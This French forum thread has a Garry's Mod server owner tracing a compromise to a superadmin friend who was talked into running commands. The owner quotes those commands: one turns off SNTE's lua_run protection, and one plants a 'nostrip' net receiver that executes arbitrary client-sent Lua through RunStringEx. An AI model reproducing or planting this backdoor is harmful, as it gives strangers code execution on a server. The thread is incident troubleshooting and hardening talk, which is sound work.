Résolu Serveur backdoor

[adam69500]

Bonjour,
Je possède un serveur Garry's Mod, qui, hier a été "hack" par des gamins qui s'amusent avec un mod menu. Le problème n'est pas là, j'ai un serveur SANS addon leak, pourtant il a été hack, je sais pas d'où ça vient...
Voici ma collection mais je ne sais pas d'où ça vient ...
EDIT: Je suis aussi ban gmodstore, mes addons possédant des DRM ne fonctionnant plus, je me dis aussi que ça pourrait venir de ça mais voici une vidéo de mon serveur "hack"

https://cdn.discordapp.com/attachments/541603646928977935/584414402921496607/2019-06-01_18-13-16.mp4

 

[adam69500]

Finalement réglé.

 

[Yoh Sambre ♪]

Le problème venait d'où au final ?

 

[ZarosOVH]

Le problème venait d'où au final ?

D’un addon non leak mais qui enfaite venais d’un pote mais qui lui l’avais reçu d’un cousin éloigné

 

[adam69500]

D’un addon non leak mais qui enfaite venais d’un pote mais qui lui l’avais reçu d’un cousin éloigné

non non, enft mon pote je l'avais laissé superadmin et il ne connaît pas trop gmod je suis parti voir les logs, les mecs lui ont dit de faire lua run ...

 

[Yoh Sambre ♪]

Plutôt étonnant que le mec est était capable de faire un lua_run car je voit que dans la collection SNTE et normalement il l'empêche d'utilisation par défaut , SNTE a était installé suite au hack ou il l'était déjà avant ?

 

[adam69500]

Il a fait:
snte_ulxluarun 0
puis
ulx luarun util.AddNetworkString('nostrip') net.Receive('nostrip',function(len,pl) RunStringEx(net.ReadString(),'[C]',false) end)

Screenshot

Captured with Lightshot

prntscr.com

 

[Yoh Sambre ♪]

Mhum il a simplement utilisé la convars de SNTE pour réactivé le lua_run (de base c'est désactiver par sécurité , on laisse la possibilité de réactivé la command mais ça s'adresse au devs).

Hésite pas a revenir si tu rencontre encore ce genre de problèmes.

 

[skrilax91]

@Yoh Sambre ♪ tu as pas moyen d’empêcher l’execution du lua run si il y a dans la commande un runstring ?
EDIT: je sais que c’est possible mais je me suis souvenu que ce n’etait pas toi qui avait le dev d’snte en charge

 

[ZarosOVH]

@Yoh Sambre ♪ tu as pas moyen d’empêcher l’execution du lua run si il y a dans la commande un runstring ?
EDIT: je sais que c’est possible mais je me suis souvenu que ce n’etait pas toi qui avait le dev d’snte en charge

Pour le lua run de ulx qui est dans SNTE on a prévu de modifier pour que l’activation du lua run doit obligatoirement être fais depuis la console serveur

 

[skrilax91]

Pour le lua run de ulx qui est dans SNTE on a prévu de modifier pour que l’activation du lua run doit obligatoirement être fais depuis la console serveur

Nice

 

[InvulnérableAuBannisement]

Mhum il a simplement utilisé la convars de SNTE pour réactivé le lua_run (de base c'est désactiver par sécurité , on laisse la possibilité de réactivé la command mais ça s'adresse au devs).

Hésite pas a revenir si tu rencontre encore ce genre de problèmes.

SNTE cest bypass mdr, pourris ta merde

 

[Yoh Sambre ♪]

SNTE cest bypass mdr, pourris ta merde

Cessez de dénigré votre tonton de la sorte ou je vais être obliger de vous frappez le museaux jeune homme (y).

 

[Shaar]

Cessez de dénigré votre tonton de la sorte ou je vais être obliger de vous frappez le museaux jeune homme (y).

il a pas entièrement tord

 

[Deadman69330]

bah sinon au pire vous supprimez le module lua run de ulx '-'

 

[Yoh Sambre ♪]

il a pas entièrement tord

Lol j'ai juste a modifier un match random et hop

 

[Shaar]

Lol j'ai juste a modifier un match random et hop

c presque ça

 

[Akulla]

Lol j'ai juste a modifier un match random et hop

Bah fais le non ?

 

[Yoh Sambre ♪]

Bah fais le non ?

éo me presse pas stp

 

[skrilax91]

Bah fais le non ?

C’est déjà énorme pour Yoh de modifier un argument d’une fonction

 

[Yoh Sambre ♪]

C’est déjà énorme pour Yoh de modifier un argument d’une fonction

Surtout que j'suis naze en glua et surtout en indentation @ZarosOVH peux témoigné

 

[ZarosOVH]

Surtout que j'suis naze en glua et surtout en indentation @ZarosOVH peux témoigné

J’en fais encore des cauchemars

 

[Surevil]

Personne ne m'égalera en indentation. J'en suis le maître.

 

[Shaar]

Personne ne m'égalera en indentation. J'en suis le maître.

j'approuve